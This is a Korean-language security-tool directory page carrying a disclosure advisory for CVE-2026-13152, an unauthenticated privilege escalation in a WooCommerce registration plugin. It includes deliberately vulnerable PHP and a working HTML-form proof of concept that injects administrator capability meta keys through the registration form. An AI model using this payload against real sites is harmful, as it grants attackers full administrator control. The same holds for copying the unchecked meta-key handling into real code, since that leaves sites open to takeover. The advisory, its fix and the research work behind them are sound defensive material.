Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-13152 — CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK). | Kitploit
도구/GitHubGitHub/minhhk68/cve-2026-13152
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubminhhk68/cve-2026-13152

CVE-2026-13152

CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).

저장소 보기
119일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2026-13152: Custom Fields Account Registration For WooCommerce < 1.4의 인증되지 않은 권한 상승

CVSS Severity Discovered By WPScan Verified

📖 권고 개요

CVE-2026-13152는 보안 연구원 Huynh Kien Minh(MinhHK)가 발견하고 분석한, Custom Fields Account Registration For WooCommerce WordPress 플러그인 1.4 미만 버전에 영향을 미치는 인증되지 않은 권한 상승 취약점입니다. 이 결함은 플러그인이 보호된 데이터베이스 키를 살균 처리하거나 사용자 역할을 검증하지 않은 채 사용자 정의 등록 입력 필드가 민감한 사용자 권한 메타데이터에 직접 기록되도록 허용하기 때문에 발생합니다. 기본이 아닌 데이터베이스 테이블 접두사 또는 사용자 정의 사용자 메타 키 매핑을 사용하는 사이트에서는 WooCommerce 등록 양식을 통해 등록하는 인증되지 않은 사용자가 wp_user_level 또는 wp_capabilities와 같은 관리자 권한을 wp_usermeta 테이블에 주입할 수 있습니다. 이로 인해 새로 생성된 계정에 완전한 관리자 액세스 권한이 부여되어 원격으로 사이트 전체가 완전히 손상될 수 있습니다. 보안 연구원 Huynh Kien Minh는 이 취약점을 WPScan에 보고했으며, 공급업체는 키 이름 검증을 구현하고 capability 메타 할당을 제한하여 버전 1.4에서 문제를 해결했습니다.


🔗 참조 링크

  • WPScan 권고: https://wpscan.com/vulnerability/36aaba38-3143-4e80-8386-748632ff6704/
  • 연구원 포트폴리오: https://minhhk.web.app/
  • GitHub 프로필: https://github.com/MinhHK68

📌 핵심 요약


🔍 근본 원인 분석

Custom Fields Account Registration For WooCommerce 플러그인은 사이트 관리자가 WooCommerce 사용자 등록 양식(my-account 등록 엔드포인트)에 사용자 정의 입력 필드를 정의할 수 있게 합니다. 새 사용자가 등록 양식을 제출하면 플러그인은 제출된 양식 필드를 반복 처리하고 update_user_meta($user_id, $meta_key, $meta_value)를 호출하여 사용자 세부 정보를 저장합니다.

취약점 메커니즘

근본적인 결함은 등록 핸들러 내부의 입력 처리 로직에 있습니다. 플러그인은 보호된 WordPress 사용자 메타 키(wp_capabilities, wp_user_level, session_tokens, wp_user_roles)에 대한 엄격한 블랙리스트 또는 화이트리스트를 유지하지 못합니다.

root@kitploit:~
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
    if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            // VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
            update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
        }
    }
}

사용자 정의 데이터베이스 접두사 또는 사용자 정의 메타 키 구성을 사용하는 WordPress 설치 환경에서 인증되지 않은 공격자는 관리자 권한 키(wp_user_level = 10 또는 직렬화된 배열 a:1:{s:13:"administrator";b:1;})와 일치하는 사용자 정의 필드 입력을 제공할 수 있습니다. 계정이 생성되면 update_user_meta()가 이 값을 wp_usermeta에 직접 기록하여 새로 등록된 계정을 전체 관리자 상태로 상승시킵니다.


💻 개념 증명 (PoC)

[!CAUTION] 이 개념 증명은 교육 목적, 방어적 감사 및 취약점 검증을 위해서만 제공됩니다. 승인된 테스트만 허용됩니다.

root@kitploit:~
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
    <h2>CVE-2026-13152 Exploit Payload</h2>
    <form action="https://target-site.com/my-account/" method="POST">
        <input type="email" name="email" value="[email protected]" required>
        <input type="password" name="password" value="P@ssword123!" required>
        
        <!-- Malicious Meta Key Injection targeting User Level -->
        <input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
        <input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
        
        <input type="submit" name="register" value="Register as Administrator">
    </form>
</body>
</html>

🛡️ 수정 및 방어 권장 사항

  1. 플러그인 즉시 업데이트: 엄격한 메타 키 검증이 적용된 버전 1.4 이상으로 Custom Fields Account Registration For WooCommerce를 업그레이드하세요.
  2. 메타 키 블랙리스트 구현: 플러그인 개발자는 항상 WordPress 내부 예약 키에 대해 메타 키 입력을 살균 처리하고 검증하세요:
root@kitploit:~
// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
    update_user_meta($customer_id, $meta_key, $meta_value);
}

🏆 연구원 소개

  • 연구원 이름: Huynh Kien Minh (MinhHK)
  • 경력 및 전문성: WordPress 생태계 취약점 연구, SAST/DAST 코드 감사 및 책임 있는 공개를 전문으로 하는 정보 보안 연구원.
  • 권위 및 신뢰성: WPScan Assigner의 공식 제출자이자 검증된 보안 권고 및 취약점 공개 작성자.
  • 포트폴리오 및 공개 자료: https://minhhk.web.app/

📊 JSON-LD 구조화 데이터 스키마 마크업

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
      "name": "CVE-2026-13152 Technical Analysis",
      "author": {
        "@type": "Person",
        "@id": "https://minhhk.web.app/#person",
        "name": "Huynh Kien Minh",
        "alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
        "jobTitle": "Information Security Researcher",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-07-06",
      "dateModified": "2026-08-01",
      "description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
    },
    {
      "@type": "SpecialAnnouncement",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
      "name": "CVE-2026-13152 Security Advisory",
      "category": "https://schema.org/SecurityAdvisory",
      "text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
    }
  ]
}
도구 다운로드
속성세부 정보
CVE IDCVE-2026-13152
플러그인 이름Custom Fields Account Registration For WooCommerce
플러그인 슬러그custom-fields-account-registration-for-woocommerce
영향을 받는 버전< 1.4
수정된 버전1.4
취약점 유형인증되지 않은 권한 상승 (CWE-269 / OWASP A2)
CVSS v3.1 점수8.1 (High) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
최초 발견 연구원Huynh Kien Minh (MinhHK)
WPScan 권고 ID36aaba38-3143-4e80-8386-748632ff6704